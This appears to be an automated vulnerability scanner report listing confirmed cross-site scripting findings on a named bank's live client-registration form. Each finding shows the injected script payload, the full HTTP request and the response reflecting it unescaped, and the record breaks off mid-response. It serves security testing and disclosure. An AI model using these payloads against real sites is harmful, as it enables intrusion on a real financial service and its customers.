value='FBDB80' >&nbsp;FBDB80</option><option value='FBDF30' >&nbsp;FBDF30</option><option value='FBED79' >&nbsp;FBED79</option><option value='FBFA65' >&nbsp;FBFA65</option><option value='FCCA80' >&nbsp;FCCA80</option><op..
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php

Parameters

Parameter Type Value
aData%5BSTRAT_REF%5D POST -1
aData%5BFEEDBACK_URL%5D POST -1
aData%5BTYPE%5D POST 1
aData%5BaccountKind%5D POST 3
aData%5BHTTP_REFERER%5D POST 3
backFormMarker POST 3
currentFormMarker POST '"--></style></script><script>alert(0x00023F)</script>
nextFormMarker POST step2

Request

POST /fo/register/live/index.php HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: live-login.dukascopy.com
Content-Length: 261
Accept-Encoding: gzip, deflate

aData%5BSTRAT_REF%5D=-1&aData%5BFEEDBACK_URL%5D=-1&aData%5BTYPE%5D=1&aData%5BaccountKind%5D=3&aData%5BHTTP_REFERER%5D=3&backFormMarker=3&currentFormMarker='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x00023F)%3c%2fscript%3e&nextFormMarker=step2

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:26:30 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post"><input type="hidden" name="aData[STRAT_REF]" value="-1"><input type="hidden" name="aData[FEEDBACK_URL]" value="-1"><input type="hidden" name="aData[TYPE]" value="1"><input type="hidden" name="aData[accountKind]" value="3"><input type="hidden" name="aData[HTTP_REFERER]" value="3"><input type="hidden" name="backFormMarker" value=""><input type="hidden" name="currentFormMarker" value="'"--></style></script><script>netsparker(0x00023F)</script>"><input type="hidden" name="nextFormMarker" value=""><span style=display:none; id=hidHtmlConvert></span><script> function fFillFormField (oElement, value) { try { switch(oElement.tagName) { case "TEXTAREA": case "TEXT": document.getElementById('hidHtmlConvert').innerHTML = value; oElement.value = document.getElementById('hidHtmlConvert').innerHTML; // oElement.value = value; break; case "SELECT": oElement.value = value; bFound = false; for (i=0; i<oElement.options.length; i++) { if(oElement.options[i].value == value) { oElement.options[i].selected = true; bFound = true; break; } } if(value && !bFound) { oNew = document.createElement("OPTION"); oNew.value = value; oNew.innerHTML = value; oElement.appendChild(oNew); oElement.lastChild.selected = true; } break; default: if(oElement.length) { for(i=0;i<oElement.length;i++) { if(oElement[i].value == value) oElement[i].click(); else oElement[i].checked = false; } } else { if(oElement.type == "checkbox") oElement.click(); else { document.getElementById('hidHtmlConvert').innerHTML = value; oElement.value = document.getElementById('hidHtmlConvert').innerHTML; // oElement.value = value; } } break; } try { oElement.fireEvent("onchange"); } catch(e) { try { var evt = document.createEvent("HTMLEvents"); evt.initEvent("change",true,true); oElement.dispatchEvent( evt ); } catch(e){} } } catch(e){} } function fFillForm() {}</script></form>
</table>
<img id="progress_img" src="../../images/progress_bar.gif" width="69" height="17" border="0" style="display:none;">
</body>
</html>
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php

Parameters

Parameter Type Value
aData%5BSTRAT_REF%5D POST -1
aData%5BFEEDBACK_URL%5D POST -1
aData%5BTYPE%5D POST 2
aData%5BaccountKind%5D POST 200
aData%5BservProviderAnswer%5D POST Yes
aData%5BHTTP_REFERER%5D POST 3
backFormMarker POST 3
currentFormMarker POST '"--></style></script><script>alert(0x0002A6)</script>
nextFormMarker POST step2

Request

POST /fo/register/live/index.php HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: live-login.dukascopy.com
Content-Length: 297
Accept-Encoding: gzip, deflate

aData%5BSTRAT_REF%5D=-1&aData%5BFEEDBACK_URL%5D=-1&aData%5BTYPE%5D=2&aData%5BaccountKind%5D=200&aData%5BservProviderAnswer%5D=Yes&aData%5BHTTP_REFERER%5D=3&backFormMarker=3&currentFormMarker='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0002A6)%3c%2fscript%3e&nextFormMarker=step2

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:26:47 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post"><input type="hidden" name="aData[STRAT_REF]" value="-1"><input type="hidden" name="aData[FEEDBACK_URL]" value="-1"><input type="hidden" name="aData[TYPE]" value="2"><input type="hidden" name="aData[accountKind]" value="200"><input type="hidden" name="aData[servProviderAnswer]" value="Yes"><input type="hidden" name="aData[HTTP_REFERER]" value="3"><input type="hidden" name="backFormMarker" value=""><input type="hidden" name="currentFormMarker" value="'"--></style></script><script>netsparker(0x0002A6)</script>"><input type="hidden" name="nextFormMarker" value=""><span style=display:none; id=hidHtmlConvert></span><script> function fFillFormField (oElement, value) { try { switch(oElement.tagName) { case "TEXTAREA": case "TEXT": document.getElementById('hidHtmlConvert').innerHTML = value; oElement.value = document.getElementById('hidHtmlConvert').innerHTML; // oElement.value = value; break; case "SELECT": oElement.value = value; bFound = false; for (i=0; i<oElement.options.length; i++) { if(oElement.options[i].value == value) { oElement.options[i].selected = true; bFound = true; break; } } if(value && !bFound) { oNew = document.createElement("OPTION"); oNew.value = value; oNew.innerHTML = value; oElement.appendChild(oNew); oElement.lastChild.selected = true; } break; default: if(oElement.length) { for(i=0;i<oElement.length;i++) { if(oElement[i].value == value) oElement[i].click(); else oElement[i].checked = false; } } else { if(oElement.type == "checkbox") oElement.click(); else { document.getElementById('hidHtmlConvert').innerHTML = value; oElement.value = document.getElementById('hidHtmlConvert').innerHTML; // oElement.value = value; } } break; } try { oElement.fireEvent("onchange"); } catch(e) { try { var evt = document.createEvent("HTMLEvents"); evt.initEvent("change",true,true); oElement.dispatchEvent( evt ); } catch(e){} } } catch(e){} } function fFillForm() {}</script></form>
</table>
<img id="progress_img" src="../../images/progress_bar.gif" width="69" height="17" border="0" style="display:none;">
</body>
</html>
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php

Parameters

Parameter Type Value
aData%5BSTRAT_REF%5D POST -1
aData%5BFEEDBACK_URL%5D POST -1
aData%5BTYPE%5D POST 2
aData%5BaccountKind%5D POST 200
aData%5BserviceProvider%5D POST BBAC47
aData%5BservProviderAnswer%5D POST Yes
aData%5BHTTP_REFERER%5D POST 3
backFormMarker POST 3
currentFormMarker POST '"--></style></script><script>alert(0x0002C0)</script>
nextFormMarker POST step2

Request

POST /fo/register/live/index.php HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: live-login.dukascopy.com
Content-Length: 331
Accept-Encoding: gzip, deflate

aData%5BSTRAT_REF%5D=-1&aData%5BFEEDBACK_URL%5D=-1&aData%5BTYPE%5D=2&aData%5BaccountKind%5D=200&aData%5BserviceProvider%5D=BBAC47&aData%5BservProviderAnswer%5D=Yes&aData%5BHTTP_REFERER%5D=3&backFormMarker=3&currentFormMarker='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0002C0)%3c%2fscript%3e&nextFormMarker=step2

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:26:53 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post"><input type="hidden" name="aData[STRAT_REF]" value="-1"><input type="hidden" name="aData[FEEDBACK_URL]" value="-1"><input type="hidden" name="aData[TYPE]" value="2"><input type="hidden" name="aData[accountKind]" value="200"><input type="hidden" name="aData[serviceProvider]" value="BBAC47"><input type="hidden" name="aData[servProviderAnswer]" value="Yes"><input type="hidden" name="aData[HTTP_REFERER]" value="3"><input type="hidden" name="backFormMarker" value=""><input type="hidden" name="currentFormMarker" value="'"--></style></script><script>netsparker(0x0002C0)</script>"><input type="hidden" name="nextFormMarker" value=""><span style=display:none; id=hidHtmlConvert></span><script> function fFillFormField (oElement, value) { try { switch(oElement.tagName) { case "TEXTAREA": case "TEXT": document.getElementById('hidHtmlConvert').innerHTML = value; oElement.value = document.getElementById('hidHtmlConvert').innerHTML; // oElement.value = value; break; case "SELECT": oElement.value = value; bFound = false; for (i=0; i<oElement.options.length; i++) { if(oElement.options[i].value == value) { oElement.options[i].selected = true; bFound = true; break; } } if(value && !bFound) { oNew = document.createElement("OPTION"); oNew.value = value; oNew.innerHTML = value; oElement.appendChild(oNew); oElement.lastChild.selected = true; } break; default: if(oElement.length) { for(i=0;i<oElement.length;i++) { if(oElement[i].value == value) oElement[i].click(); else oElement[i].checked = false; } } else { if(oElement.type == "checkbox") oElement.click(); else { document.getElementById('hidHtmlConvert').innerHTML = value; oElement.value = document.getElementById('hidHtmlConvert').innerHTML; // oElement.value = value; } } break; } try { oElement.fireEvent("onchange"); } catch(e) { try { var evt = document.createEvent("HTMLEvents"); evt.initEvent("change",true,true); oElement.dispatchEvent( evt ); } catch(e){} } } catch(e){} } function fFillForm() {}</script></form>
</table>
<img id="progress_img" src="../../images/progress_bar.gif" width="69" height="17" border="0" style="display:none;">
</body>
</html>
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php?aData%5BaccountKind%5D=6&aData%5BextManA..

Parameters

Parameter Type Value
aData%5BaccountKind%5D GET 6
aData%5BextManAnswer%5D GET Yes
aData%5BFEEDBACK_URL%5D GET -1
aData%5BHTTP_REFERER%5D GET 3
aData%5BmanagedAccountStrategy%5D GET 1ABEM3
aData%5BserviceProvider%5D GET BBAC47
aData%5BservProviderAnswer%5D GET Yes
aData%5BSTRAT_REF%5D GET -1
aData%5BTYPE%5D GET 3
backFormMarker GET step1
currentFormMarker GET step2
next GET Next
nextFormMarker GET '"--></style></script><script>alert(0x00057C)</script>
aData[accountKind] GET 6
aData[extManAnswer] GET Yes
aData[FEEDBACK_URL] GET -1
aData[HTTP_REFERER] GET https://live-login.dukascopy.com/fo/register/live/index.php
aData[ja0address] GET 3
aData[ja0city] GET 3
aData[ja0correspondanceAddress] GET 3
aData[ja0country] GET 3
aData[ja0dateBirth_day] GET 0
aData[ja0dateBirth_month] GET 0
aData[ja0dateBirth_year] GET 0
aData[ja0EMAIL] GET netsparker@example.com
aData[ja0EMAIL_CONF_] GET netsparker@example.com
aData[ja0HOLDER] GET 3
aData[ja0HOLDER_FIRST_NAME] GET Ronald Smith
aData[ja0HOLDER_LAST_NAME] GET Ronald Smith
aData[ja0lang] GET french
aData[ja0martialstatus] GET Married
aData[ja0mobilephone] GET 3
aData[ja0nationality] GET 3
aData[ja0NICKNAME] GET Ronald Smith
aData[ja0phone] GET 3
aData[ja0placeBirth] GET 3
aData[ja0privatefax] GET 3
aData[ja0professionalfax] GET 3
aData[ja0title] GET Mrs.
aData[ja0workphone] GET 3
aData[ja0zipcode] GET 3
aData[jointAccIndex] GET 0
aData[managedAccountStrategy] GET 1ABEM3
aData[serviceProvider] GET BBAC47
aData[servProviderAnswer] GET Yes
aData[STRAT_REF] GET -1
aData[TYPE] GET 3

Request

GET /fo/register/live/index.php?aData%5BaccountKind%5D=6&aData%5BextManAnswer%5D=Yes&aData%5BFEEDBACK_URL%5D=-1&aData%5BHTTP_REFERER%5D=3&aData%5BmanagedAccountStrategy%5D=1ABEM3&aData%5BserviceProvider%5D=BBAC47&aData%5BservProviderAnswer%5D=Yes&aData%5BSTRAT_REF%5D=-1&aData%5BTYPE%5D=3&backFormMarker=step1&currentFormMarker=step2&next=Next&nextFormMarker='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00057C)%3C/script%3E&aData%5BaccountKind%5D=6&aData%5BextManAnswer%5D=Yes&aData%5BFEEDBACK_URL%5D=-1&aData%5BHTTP_REFERER%5D=https%3a%2f%2flive-login.dukascopy.com%2ffo%2fregister%2flive%2findex.php&aData%5Bja0address%5D=3&aData%5Bja0city%5D=3&aData%5Bja0correspondanceAddress%5D=3&aData%5Bja0country%5D=3&aData%5Bja0dateBirth_day%5D=0&aData%5Bja0dateBirth_month%5D=0&aData%5Bja0dateBirth_year%5D=0&aData%5Bja0EMAIL%5D=netsparker@example.com&aData%5Bja0EMAIL_CONF_%5D=netsparker@example.com&aData%5Bja0HOLDER%5D=3&aData%5Bja0HOLDER_FIRST_NAME%5D=Ronald%20Smith&aData%5Bja0HOLDER_LAST_NAME%5D=Ronald%20Smith&aData%5Bja0lang%5D=french&aData%5Bja0martialstatus%5D=Married&aData%5Bja0mobilephone%5D=3&aData%5Bja0nationality%5D=3&aData%5Bja0NICKNAME%5D=Ronald%20Smith&aData%5Bja0phone%5D=3&aData%5Bja0placeBirth%5D=3&aData%5Bja0privatefax%5D=3&aData%5Bja0professionalfax%5D=3&aData%5Bja0title%5D=Mrs.&aData%5Bja0workphone%5D=3&aData%5Bja0zipcode%5D=3&aData%5BjointAccIndex%5D=0&aData%5BmanagedAccountStrategy%5D=1ABEM3&aData%5BserviceProvider%5D=BBAC47&aData%5BservProviderAnswer%5D=Yes&aData%5BSTRAT_REF%5D=-1&aData%5BTYPE%5D=3 HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php?aData%5BaccountKind%5D=6&aData%5BextManAnswer%5D=Yes&aData%5BFEEDBACK_URL%5D=-1&aData%5BHTTP_REFERER%5D=&aData%5BmanagedAccountStrategy%5D=1ABEM3&aData%5BserviceProvider%5D=BBAC47&aData%5BservProviderAnswer%5D=Yes&aData%5BSTRAT_REF%5D=-1&aData%5BTYPE%5D=3&backFormMarker=&currentFormMarker=step1&next=Submit&nextFormMarker=step2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: live-login.dukascopy.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:29:38 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
